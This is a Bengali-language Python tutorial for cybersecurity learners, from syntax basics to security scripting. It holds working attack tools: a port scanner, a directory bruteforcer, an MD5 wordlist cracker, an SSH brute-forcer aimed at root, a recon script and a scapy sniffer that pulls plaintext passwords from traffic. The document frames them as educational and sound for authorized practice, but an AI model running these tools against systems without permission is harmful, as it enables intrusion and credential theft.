সাইবার সিকিউরিটির জন্য

Python

Basics থেকে Security Scripting

Python-এর একদম শুরু থেকে — Variable, Loop, Function থেকে শুরু করে Network Scanner, Password Cracker, Web Scraper এবং Security Automation Script পর্যন্ত সম্পূর্ণ গাইড।

```
>>> print("হ্যালো, হ্যাকার!")
হ্যালো, হ্যাকার!
>>> import security
[+] Python শেখা শুরু হলো...
```

Variables & Types | Loops & Conditions | Functions | File Handling | OOP Basics

Networking (socket) | Port Scanner | Web Scraping | Password Tools | Automation Scripts

📋 বিষয়সূচি

// PYTHON FOR SECURITY — COMPLETE ROADMAP //

01 **Python পরিচিতি ও Setup**
Python কী, কেন শিখব, Install, IDLE, VS Code — BEGINNER

02 **Variable, Data Types ও Input/Output**
int, float, str, bool, list, tuple, dict, set, print(), input() — BEGINNER

03 **Operators, Conditions ও Loops**
if/elif/else, for, while, break, continue, range() — BEGINNER

04 **Functions ও Modules**
def, return, *args, **kwargs, import, os, sys, re — INTERMEDIATE

05 **File Handling ও Exception**
open(), read/write, try/except, with statement — INTERMEDIATE

06 **Networking — Socket Programming**
socket module, TCP/UDP, Banner Grabbing, Port Scanner তৈরি — INTERMEDIATE

07 **Web Scraping ও HTTP Requests**
requests, BeautifulSoup, Login Bypass Testing, Form Fuzzing — INTERMEDIATE

08 **Password ও Hashing Tools**
hashlib, MD5/SHA, Password Generator, Dictionary Attacker — SECURITY

09 **OS ও System Interaction**
os, subprocess, shutil, sys — System Recon Script — SECURITY

10 **Automation ও Scripting**
Log Parser, IP Scanner, Brute Force Automator — SECURITY

11 **Security Libraries ও Tools**

scapy, paramiko, pwntools, cryptography — Advanced

ADVANCED

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12 Cheat Sheet — সম্পূর্ণ রেফারেন্স

Syntax, Built-ins, Security Commands — সব এক জায়গায়

CHEAT

CHAPTER 01

🐍 Python পরিচিতি ও Setup

Python কী, কেন Cyber Security-তে Python, এবং কীভাবে শুরু করবে

Python কী?

Python হলো একটি high-level, interpreted programming language যা ১৯৯১ সালে **Guido van Rossum** তৈরি করেন। এর syntax অনেক সহজ এবং পড়তে ইংরেজির মতো মনে হয়। Cyber Security জগতে Python সবচেয়ে বেশি ব্যবহৃত ভাষা।

⚡ কেন Python?

- শেখা সহজ
- Security tools-এ ব্যাপক ব্যবহার
- Rapid scripting
- বিশাল library
- Cross-platform

🔒 Security-তে Python

- Port Scanner তৈরি
- Exploit development
- Malware analysis
- Password cracking
- Log analysis

🛠 বিখ্যাত Python Tools

- **Impacket** — Network protocols
- **Scapy** — Packet manipulation
- **Volatility** — Memory forensics
- **SQLMap** — SQL Injection

- **pwntools** — CTF & exploits

Python Install ও Setup

```
# Linux (Kali/Ubuntu) — Python already installed $ python3 --version Python 3.11.2 # Windows — Download from python.org # ✅ "Add Python to PATH" checkbox tick করো! # pip — Package Manager $ pip3 install requests $ pip3 install beautifulsoup4 $ pip3 install scapy # Python চালানো $ python3 # Interactive mode $ python3 script.py # Script চালানো
```

প্রথম Python Program

```
# hello.py print("হ্যালো, দুনিয়া!") print("Python শেখা শুরু হলো 🐍")
```

```
# Output:
হ্যালো, দুনিয়া! Python শেখা শুরু হলো 🐍
```

💡 Editor সাজেশন

VS Code ব্যবহার করো — Python extension install করো। অথবা শুধু terminal-এ `python3` লিখে interactive mode-এ practice করো।

CHAPTER 02

📦 Variable, Data Types ও Input/Output

Python-এর সব data type, variable declaration এবং user input নেওয়া

Variable কী?

Variable হলো একটি নাম যেখানে data রাখা যায়। Python-এ variable declare করতে কোনো keyword লাগে না।

```
# Variable তৈরি করা name = "Alice" # String age = 25 # Integer score = 98.5 # Float
is_hacker = True # Boolean print(name) print("বয়স:", age) print(f"নাম: {name}, বয়স:
{age}") # f-string
```

```
# Output:
Alice বয়স: 25 নাম: Alice, বয়স: 25
```

সব Data Types

```
# int — পূর্ণ সংখ্যা port = 80 print(type(port)) # <class 'int'> # float — দশমিক সংখ্যা
version = 3.11 # str — টেক্সট ip = "192.168.1.1" domain = 'example.com' # bool —
True/False is_open = True is_admin = False # list — পরিবর্তনযোগ্য তালিকা [ ] ports = [21,
22, 80, 443, 8080] ports.append(3306) # যোগ করা ports.remove(21) # বাদ দেওয়া
print(ports[0]) # 22 (0 থেকে শুরু) # tuple — অপরিবর্তনীয় তালিকা ( ) protocols = ("TCP",
"UDP", "ICMP") # dict — key:value জোড়া { } target = { "ip": "192.168.1.1", "port": 80,
"service": "HTTP" } print(target["ip"]) # 192.168.1.1 print(target.get("port")) # 80 #
set — unique values { } open_ports = {80, 443, 80, 22} # {80, 443, 22} — duplicate বাদ
```

String Operations — Security-তে গুরুত্বপূর্ণ

```
url = "https://target.com/login?id=1" # String methods print(url.upper()) # HTTPS://TARGET.COM/LOGIN?ID=1 print(url.lower()) # lowercase print(url.replace("https", "http")) print(url.split("/")) # ['https:', '', 'target.com', ...] print("login" in url) # True print(url.startswith("https")) # True print(len(url)) # length # String slicing ip = "192.168.1.100" print(ip[0:3]) # "192" print(ip[-3:]) # "100"
```

Input/Output

```
# User থেকে input নেওয়া target_ip = input("Target IP দাও: ") port = int(input("Port number: ")) # int() দিয়ে convert print(f"Scanning {target_ip}:{port}...") # Type conversion int("80") # "80" → 80 str(443) # 443 → "443" float("3.14") # "3.14" → 3.14 list("abc") # ['a', 'b', 'c']
```

// মূল কথা //

- 🐍 Python-এ variable declare করতে keyword লাগে না
- 📋 list = পরিবর্তনযোগ্য, tuple = অপরিবর্তনীয়, dict = key:value
- 🔤 f-string দিয়ে সহজে variable print করা যায়
- 🔄 input() সবসময় string return করে — convert করতে হয়

CHAPTER 03

🔀 Operators, Conditions ও Loops

if/elif/else, for loop, while loop — Python-এর মূল control flow

Comparison ও Logical Operators

```
# Comparison operators print(80 == 80) # True — সমান print(80 ≠ 443) # True — সমান না
print(8080 > 80) # True — বড় print(21 < 22) # True — ছোট # Logical operators port =
443 print(port > 80 and port < 1000) # True — দুটোই True print(port == 80 or port ==
443) # True — যেকোনো একটা True print(not (port == 22)) # True — উল্টো
```

if / elif / else

```
port = 22 if port == 21: print("FTP — File Transfer") elif port == 22: print("SSH —
Secure Shell") elif port == 80: print("HTTP — Web Server") elif port == 443:
print("HTTPS — Secure Web") else: print(f"Unknown service on port {port}")
```

```
# Output:
SSH — Secure Shell
```

for Loop

```
# List-এর উপর loop ports = [21, 22, 80, 443, 8080] for port in ports: print(f"Checking
port {port}...") # range() দিয়ে loop for i in range(1, 6): # 1 থেকে 5 print(i) #
String-এর উপর loop password = "secret" for char in password: print(char, end="-") # s-
e-c-r-e-t- # enumerate — index সহ services = ["FTP", "SSH", "HTTP"] for i, service in
enumerate(services): print(f"{i}: {service}") # dict-এর উপর loop target = {"ip":
"192.168.1.1", "port": 80} for key, value in target.items(): print(f"{key} = {value}")
```

while Loop

```
# while loop — condition সত্য হওয়া পর্যন্ত চলে attempts = 0 while attempts < 3: password = input("Password: ") if password == "admin123": print("✅ Login Successful!") break # loop থেকে বের হয়ে যাও else: attempts += 1 print(f"❌ Wrong! {3 - attempts} attempts left") else: print("🔒 Account Locked!") # continue — এই iteration skip করো for port in range(1, 10): if port % 2 == 0: continue # জোড় port skip print(port) # শুধু বিজোড় print
```

// মূল কথা //

- 🔀 Python-এ indentation (4 space) দিয়ে code block বোঝায়
- 🔄 for loop — জানা সংখ্যক বার; while loop — condition পূরণ না হওয়া পর্যন্ত
- ⛔ break = loop বন্ধ করো; continue = এই step skip করো

CHAPTER 04

⚙ Functions & Modules

Reusable code লেখা এবং Python-এর শক্তিশালী built-in modules ব্যবহার

Function তৈরি করা

```
# Basic function def greet(name): print(f"Hello, {name}!") greet("Alice") # Hello, Alice! # Return value সহ function def get_service(port): services = { 21: "FTP", 22: "SSH", 80: "HTTP", 443: "HTTPS", 3306: "MySQL" } return services.get(port, "Unknown") print(get_service(80)) # HTTP print(get_service(9999)) # Unknown # Default parameter def scan_port(ip, port=80): print(f"Scanning {ip}:{port}") scan_port("192.168.1.1") # port=80 (default) scan_port("192.168.1.1", 443) # port=443 # Multiple return values def get_info(): return "192.168.1.1", 80, "HTTP" ip, port, service = get_info() print(ip, port, service)
```

গুরুত্বপূর্ণ Built-in Modules

os — Operating System

```
import os # File & Directory print(os.getcwd()) # Current directory os.listdir(".") # Directory contents os.path.exists("/etc/passwd") # File আছে কি না os.makedirs("output", exist_ok=True) # Command চালানো os.system("ls -la") os.system("ping -c 1 google.com") # Environment variables path = os.environ.get("PATH") home = os.path.expanduser("~")
```

sys — System

```
import sys # Command line arguments # python3 script.py 192.168.1.1 80 if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <ip> <port>") sys.exit(1) ip = sys.argv[1] #
```

```
192.168.1.1 port = sys.argv[2] # 80 print(sys.version) # Python version
print(sys.platform) # linux/win32/darwin
```

re — Regular Expressions

```
import re log = "192.168.1.100 - - [25/Mar/2026] GET /admin HTTP/1.1 200" # IP address
খোঁজা ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' ip = re.findall(ip_pattern,
log) print(ip) # ['192.168.1.100'] # Email খোঁজা text = "Contact: alice@target.com or
bob@example.org" emails = re.findall(r'[\w.]+@[\w.]+\.\w+', text) print(emails) #
['alice@target.com', 'bob@example.org'] # Match করলে True if re.match(r'^\d{1,3}
(\.\d{1,3}){3}$', "192.168.1.1"): print("Valid IP")
```

CHAPTER 05

📂 File Handling ও Exception Handling

File পড়া/লেখা এবং error handle করা — Security Script-এর জন্য অপরিহার্য

File পড়া ও লেখা

```
# File লেখা (write) with open("targets.txt", "w") as f: f.write("192.168.1.1\n") f.write("192.168.1.2\n") f.write("10.0.0.1\n") # File পড়া (read) with open("targets.txt", "r") as f: content = f.read() print(content) # Line by line পড়া — বড় file-এর জন্য ভালো with open("targets.txt", "r") as f: for line in f: ip = line.strip() # newline বাদ দেওয়া print(f"Scanning: {ip}") # Append — বিদ্যমান file-এ যোগ করা with open("results.txt", "a") as f: f.write("192.168.1.1:80 OPEN\n") # Wordlist থেকে passwords পড়া with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as f: passwords = [line.strip() for line in f] print(f"Loaded {len(passwords)} passwords")
```

Exception Handling — Error ধরা

```
# try/except — error হলেও program crash করবে না try: port = int(input("Port: ")) result = 100 / port print(f"Result: {result}") except ValueError: print("❌ সংখ্যা দাও!") except ZeroDivisionError: print("❌ 0 দিও না!") except Exception as e: print(f"❌ Error: {e}") finally: print("✅ Program শেষ") # সবসময় চলবে # File না থাকলে error handle try: with open("wordlist.txt") as f: data = f.read() except FileNotFoundError: print("❌ File পাওয়া যায়নি!")
```

✅ Best Practice

সবসময় `with` statement ব্যবহার করো file open করতে — এটা automatically file close করে দেয়। Security script-এ সবসময় try/except ব্যবহার করো যাতে connection refuse বা timeout-এ crash না হয়।

CHAPTER 06

🌐 Networking — Socket Programming

socket module দিয়ে নিজের Port Scanner ও Banner Grabber তৈরি করো

Socket কী?

Socket হলো দুটো computer-এর মধ্যে network connection-এর endpoint। Python-এর `socket` module দিয়ে আমরা TCP/UDP connection তৈরি করতে পারি।

Basic TCP Connection ও Banner Grabbing

```
import socket # TCP connection তৈরি s = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) s.settimeout(3) # 3 second timeout target = "example.com" port = 80
result = s.connect_ex((target, port)) if result == 0: print(f"✅ Port {port} is OPEN")
else: print(f"❌ Port {port} is CLOSED") s.close() # Banner Grabbing — service কী চলছে
জানা def grab_banner(ip, port): try: s = socket.socket() s.settimeout(3) s.connect((ip,
port)) s.send(b"HEAD / HTTP/1.0\r\n\r\n") banner = s.recv(1024).decode("utf-8",
errors="ignore") s.close() return banner except: return None banner =
grab_banner("scanme.nmap.org", 80) if banner: print(banner[:200])
```

🔥 Simple Port Scanner তৈরি

```
import socket import sys from datetime import datetime def scan_port(ip, port): try: s
= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) result =
s.connect_ex((ip, port)) s.close() return result == 0 except: return False def main():
if len(sys.argv) != 3: print("Usage: python3 scanner.py <ip> <end_port>") sys.exit(1)
ip = sys.argv[1] end_port = int(sys.argv[2]) print(f"\n🔍 Scanning {ip} [1-
{end_port}]") print(f"Started: {datetime.now()}\n") open_ports = [] for port in
range(1, end_port + 1): if scan_port(ip, port): service = socket.getservbyport(port,
```

```
"tcp") if True else "unknown" print(f" ✅ {port:5d}/tcp OPEN") open_ports.append(port)
print(f"\nFound {len(open_ports)} open ports") if __name__ == "__main__": main()
```

Threaded Port Scanner — দ্রুত Version

```
import socket import threading open_ports = [] lock = threading.Lock() def scan(ip,
port): try: s = socket.socket() s.settimeout(0.5) if s.connect_ex((ip, port)) == 0:
with lock: open_ports.append(port) print(f" [+] Port {port} OPEN") s.close() except:
pass ip = "192.168.1.1" threads = [] for port in range(1, 1001): t =
threading.Thread(target=scan, args=(ip, port)) threads.append(t) t.start() for t in
threads: t.join() print(f"\nOpen: {sorted(open_ports)}")
```

CHAPTER 07

🕸 Web Scraping ও HTTP Requests

requests ও BeautifulSoup দিয়ে web থেকে data তোলা এবং security testing

requests Library

```
import requests # GET request r = requests.get("https://httpbin.org/get") print(r.status_code) # 200 print(r.headers) # Response headers print(r.text[:200]) # Response body print(r.json()) # JSON parse # POST request — Form submit data = {"username": "admin", "password": "admin123"} r = requests.post("http://target.com/login", data=data) print(r.status_code) # Custom headers headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityScanner/1.0)", "X-Custom-Header": "test" } r = requests.get("https://target.com", headers=headers) # Session — cookies maintain করা (login session) session = requests.Session() session.post("http://target.com/login", data={"user":"admin","pass":"pass"}) r = session.get("http://target.com/dashboard") # logged-in page # SSL disable (self-signed cert) r = requests.get("https://192.168.1.1", verify=False)
```

Directory Bruteforcer তৈরি

```
import requests def dir_brute(url, wordlist_path): print(f"🔍 Scanning: {url}\n") found = [] with open(wordlist_path) as f: words = [line.strip() for line in f if line.strip()] for word in words: target_url = f"{url}/{word}" try: r = requests.get(target_url, timeout=3) if r.status_code not in [404, 403]: print(f"[{r.status_code}] {target_url}") found.append(target_url) except: pass print(f"\n✅ Found: {len(found)} paths") return found # চালাও dir_brute("http://target.com", "wordlist.txt")
```

BeautifulSoup — HTML Parser

```
import requests from bs4 import BeautifulSoup r = requests.get("https://example.com")
soup = BeautifulSoup(r.text, "html.parser") # Links সংগ্রহ করা links = [] for a in
soup.find_all("a", href=True): links.append(a["href"]) print(links) # Forms খোঁজা
(login page analysis) for form in soup.find_all("form"): print("Form action:",
form.get("action")) for inp in form.find_all("input"): print(" Input:",
inp.get("name"), inp.get("type")) # Title, meta tags print(soup.title.text)
print(soup.find("meta", {"name":"description"}))
```

CHAPTER 08

🔑 Password ও Hashing Tools

hashlib দিয়ে hash তৈরি, Hash Cracker ও Password Generator লেখা

hashlib — Hash তৈরি করা

```
import hashlib password = "admin123" # MD5 hash md5 = hashlib.md5(password.encode()).hexdigest() print(f"MD5: {md5}") # SHA1 hash sha1 = hashlib.sha1(password.encode()).hexdigest() print(f"SHA1: {sha1}") # SHA256 hash sha256 = hashlib.sha256(password.encode()).hexdigest() print(f"SHA256: {sha256}") # File hash (integrity check) def file_hash(filepath): h = hashlib.sha256() with open(filepath, "rb") as f: while chunk := f.read(8192): h.update(chunk) return h.hexdigest() print(file_hash("/etc/passwd"))
```

```
# Output:
MD5: 0192023a7bbd73250516f069df18b500 SHA1: f865b53623b121fd34ee5426c792e5c33af8c227 SHA256: 240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9
```

🔥 Hash Cracker তৈরি

```
import hashlib import sys def crack_md5(target_hash, wordlist): print(f"🔍 Cracking: {target_hash}") with open(wordlist, "r", encoding="latin-1") as f: for line in f: word = line.strip() hashed = hashlib.md5(word.encode()).hexdigest() if hashed == target_hash: print(f"✅ CRACKED! Password: {word}") return word print("❌ Not found in wordlist") return None # চালাও — admin123-এর MD5 crack_md5("0192023a7bbd73250516f069df18b500", "rockyou.txt")
```

Password Generator তৈরি

```python
import random import string import secrets # Cryptographically secure def generate_password(length=16, use_symbols=True): chars = string.ascii_letters + string.digits if use_symbols: chars += string.punctuation # secrets.choice — cryptographically secure random password = "".join(secrets.choice(chars) for _ in range(length)) return password for _ in range(5): print(generate_password(20))
```

```
# Output:
Kx#9mP@2Lq!vN7rTw&Ys $4Bj^uF8cH3nG6dZ%eWm pR!7xK2@LvN9mQ#5tJb& Zs%4qM8#KwP2vG7jN!eR
H6@nWx3$bT9mK!pQ5rLv
```

CHAPTER 09

💻 OS ও System Interaction

os, subprocess দিয়ে system command চালানো ও System Recon Script লেখা

subprocess — Command চালানো

```
import subprocess # Command চালানো এবং output পাওয়া result = subprocess.run( ["nmap", "-sV", "192.168.1.1"], capture_output=True, text=True ) print(result.stdout) # Output print(result.returncode) # 0 = success # Shell command (সতর্কতার সাথে ব্যবহার করো) output = subprocess.getoutput("whoami") print(output) output = subprocess.getoutput("ip addr show") print(output)
```

🔥 System Recon Script

```
import os import subprocess import socket import platform from datetime import datetime def run_cmd(cmd): try: return subprocess.getoutput(cmd) except: return "N/A" def recon(): print("=" * 50) print(" 🔍 SYSTEM RECON REPORT") print(f" Time: {datetime.now()}") print("=" * 50) # System info print("\n[+] SYSTEM") print(f" OS: {platform.system()} {platform.release()}") print(f" Hostname: {socket.gethostname()}") print(f" User: {run_cmd('whoami')}") # Network info print("\n[+] NETWORK") print(f" IP: {run_cmd('hostname -I')}") print(f" Gateway: {run_cmd('ip route | grep default')}") # Listening ports print("\n[+] OPEN PORTS") print(run_cmd("ss -tulpn | grep LISTEN")) # Users print("\n[+] USERS WITH SHELL") print(run_cmd("grep -v nologin /etc/passwd | grep -v false")) # SUID files print("\n[+] SUID FILES") print(run_cmd("find / -perm -u=s -type f 2>/dev/null | head -10")) recon()
```

Log Parser — Security Logs বিশ্লেষণ

```
import re from collections import Counter def parse_auth_log(logfile="/var/log/auth.log"): failed_ips = [] try: with open(logfile) as
```

```
f: for line in f: if "Failed password" in line: ip = re.search(r'from (\S+)', line) if
ip: failed_ips.append(ip.group(1)) counts = Counter(failed_ips) print("🚨 Top Attackers
(Failed SSH Logins):") for ip, count in counts.most_common(10): print(f" {ip:20s} →
{count} attempts") except FileNotFoundError: print("Log file not found")
parse_auth_log()
```

CHAPTER 10

🤖 Security Automation Scripts

Real-world security কাজে Python automation — Network Scanner, Brute Forcer

Network Host Discovery

```
import subprocess import threading import ipaddress live_hosts = [] lock = threading.Lock() def ping_host(ip): result = subprocess.run( ["ping", "-c", "1", "-W", "1", str(ip)], capture_output=True ) if result.returncode == 0: with lock: live_hosts.append(str(ip)) print(f" ✅ {ip} is ALIVE") network = ipaddress.IPv4Network("192.168.1.0/24", strict=False) threads = [] for ip in network.hosts(): t = threading.Thread(target=ping_host, args=(ip,)) threads.append(t) t.start() for t in threads: t.join() print(f"\n[+] Found {len(live_hosts)} live hosts")
```

SSH Brute Force Script

⚠️ শুধুমাত্র নিজের সিস্টেমে বা অনুমতি নিয়ে ব্যবহার করো!

```
import paramiko # pip install paramiko import sys def ssh_brute(host, username, wordlist): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) with open(wordlist) as f: for line in f: password = line.strip() try: client.connect(host, username=username, password=password, timeout=3) print(f"✅ SUCCESS! Password: {password}") client.close() return password except paramiko.AuthenticationException: print(f" [-] {password}") except Exception as e: print(f" [!] Error: {e}") break print("❌ Password not found") return None ssh_brute("192.168.1.1", "root", "rockyou.txt")
```

Subdomain Enumerator

```
import requests import threading found = [] lock = threading.Lock() def
check_subdomain(domain, sub): url = f"http://{sub}.{domain}" try: r = requests.get(url,
timeout=2) with lock: found.append(url) print(f" ✅ [{r.status_code}] {url}") except:
pass domain = "target.com" subdomains = ["www", "mail", "ftp", "admin", "dev", "api",
"test", "staging", "vpn", "portal"] threads = [threading.Thread(target=check_subdomain,
args=(domain, s)) for s in subdomains] for t in threads: t.start() for t in threads:
t.join() print(f"\n[+] Found: {len(found)} subdomains")
```

CHAPTER 11

🛡️ Security Libraries — Advanced

11

scapy, pwntools, cryptography — Professional Security Tool-এর Libraries

Scapy — Packet Manipulation

```
from scapy.all import * # pip install scapy # ICMP Ping pkt = IP(dst="8.8.8.8") /
ICMP() response = sr1(pkt, timeout=2, verbose=False) if response: print(f"✅ Host is
ALIVE: {response.src}") # TCP SYN Scan (Stealth Scan) def syn_scan(target, port): pkt =
IP(dst=target) / TCP(dport=port, flags="S") resp = sr1(pkt, timeout=1, verbose=False)
if resp and resp.haslayer(TCP): if resp[TCP].flags == 0x12: # SYN-ACK return "OPEN"
elif resp[TCP].flags == 0x14: # RST-ACK return "CLOSED" return "FILTERED"
print(syn_scan("192.168.1.1", 80)) # Packet Sniffing def packet_handler(pkt): if
pkt.haslayer(TCP) and pkt.haslayer(Raw): data = pkt[Raw].load.decode("utf-8",
errors="ignore") if "password" in data.lower(): print(f"[!] Possible creds: {data}")
sniff(iface="eth0", prn=packet_handler, filter="tcp port 80", count=100)
```

cryptography — Encryption

```
from cryptography.fernet import Fernet # pip install cryptography # Key তৈরি করা key =
Fernet.generate_key() cipher = Fernet(key) # Encrypt message = b"secret password:
admin123" encrypted = cipher.encrypt(message) print(f"Encrypted: {encrypted}") #
Decrypt decrypted = cipher.decrypt(encrypted) print(f"Decrypted: {decrypted.decode()}")
# File encrypt করা def encrypt_file(filepath, key): f = Fernet(key) with open(filepath,
"rb") as fh: data = fh.read() encrypted_data = f.encrypt(data) with open(filepath +
".enc", "wb") as fh: fh.write(encrypted_data) print(f"✅ Encrypted: {filepath}.enc")
```

pwntools — CTF ও Exploit Development

```
from pwn import * # pip install pwntools # Remote connection conn =
remote("target.com", 1337) conn.recvline() # Banner পড়া conn.sendline(b"HELLO")
response = conn.recvall() conn.close() # Format string ও packing addr = 0xdeadbeef
print(p32(addr)) # 32-bit pack print(p64(addr)) # 64-bit pack
print(hex(u32(b"\xef\xbe\xad\xde"))) # unpack # Cyclic pattern (Buffer overflow offset
খোঁজা) pattern = cyclic(200) print(pattern) offset = cyclic_find(0x61616166)
print(f"Offset: {offset}")
```

CHAPTER 12

📋 Cheat Sheet — সম্পূর্ণ রেফারেন্স

Python syntax, built-in functions ও security commands — সব এক জায়গায়

Python Basics Cheat Sheet

Data Types

`x = 42`	int
`x = 3.14`	float
`x = "hello"`	string
`x = True/False`	bool
`x = [1, 2, 3]`	list
`x = (1, 2, 3)`	tuple
`x = {"k": "v"}`	dict
`x = {1, 2, 3}`	set

String Methods

`s.upper()`	বড় হাতে
`s.lower()`	ছোট হাতে
`s.strip()`	whitespace বাদ
`s.split("/")`	ভাগ করা
`s.replace(a, b)`	প্রতিস্থাপন
`"x" in s`	আছে কি না
`s[0:5]`	অংশ নেওয়া
`f"hello {x}"`	f-string

List Methods

`lst.append(x)`	শেষে যোগ

`lst.remove(x)`	বাদ দেওয়া
`lst.sort()`	সাজানো
`len(lst)`	সংখ্যা গণনা
`lst[0]`	প্রথম item
`lst[-1]`	শেষ item
`x in lst`	আছে কি না
`[x for x in lst]`	List comprehension

Control Flow

`if x: ... else: ...`	শর্ত
`for x in list: ...`	তালিকা loop
`while cond: ...`	শর্ত loop
`break`	loop বন্ধ
`continue`	skip
`range(1, 11)`	1 → 10
`try: ... except:`	error ধরা
`def fn(x): return x`	function

Security Module Cheat Sheet

socket

`socket.socket()`	socket তৈরি
`s.connect((ip, port))`	connect
`s.connect_ex()`	0=open
`s.recv(1024)`	data পড়া
`s.send(b"data")`	data পাঠানো
`s.settimeout(3)`	timeout set
`s.close()`	বন্ধ করা

hashlib

`hashlib.md5(x).hexdigest()`	MD5
`hashlib.sha1(x).hexdigest()`	SHA1
`hashlib.sha256(x).hexdigest()`	SHA256
`x.encode()`	str → bytes
`x.decode()`	bytes → str
`hashlib.algorithms_available`	সব algorithm

requests

`requests.get(url)`	GET request
`requests.post(url, data={})`	POST request
`r.status_code`	200, 404, 403...
`r.text`	Response body
`r.headers`	Response headers
`r.json()`	JSON parse
`requests.Session()`	cookie session

subprocess / os

`subprocess.getoutput(cmd)`	cmd output পাওয়া
`subprocess.run([...])`	cmd চালানো
`os.path.exists(path)`	file আছে কি
`os.listdir(path)`	dir contents
`os.getcwd()`	current dir
`os.environ.get("VAR")`	env variable

Quick Install Commands

```
# Security Libraries Install $ pip3 install requests beautifulsoup4 # Web scraping $
pip3 install scapy # Packet manipulation $ pip3 install paramiko # SSH $ pip3 install
pwntools # CTF & exploit $ pip3 install cryptography # Encryption $ pip3 install
python-nmap # Nmap wrapper $ pip3 install impacket # Network protocols $ pip3 install
shodan # Shodan API $ pip3 install dnspython # DNS operations
```

পরবর্তী কী শিখব?

ধাপ	বিষয়	Resource
1	OOP (Class, Object)	Python Docs, Real Python
2	CTF Challenges	PicoCTF, HackTheBox
3	Scapy Deep Dive	scapy.readthedocs.io
4	pwntools / pwn.college	pwn.college (free)
5	Impacket (AD attacks)	GitHub/impacket
6	নিজের Tool তৈরি করো	GitHub projects

>>> "Code is Poetry. Secure Code is Art."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক। সবসময় authorized environment-এ practice করো।

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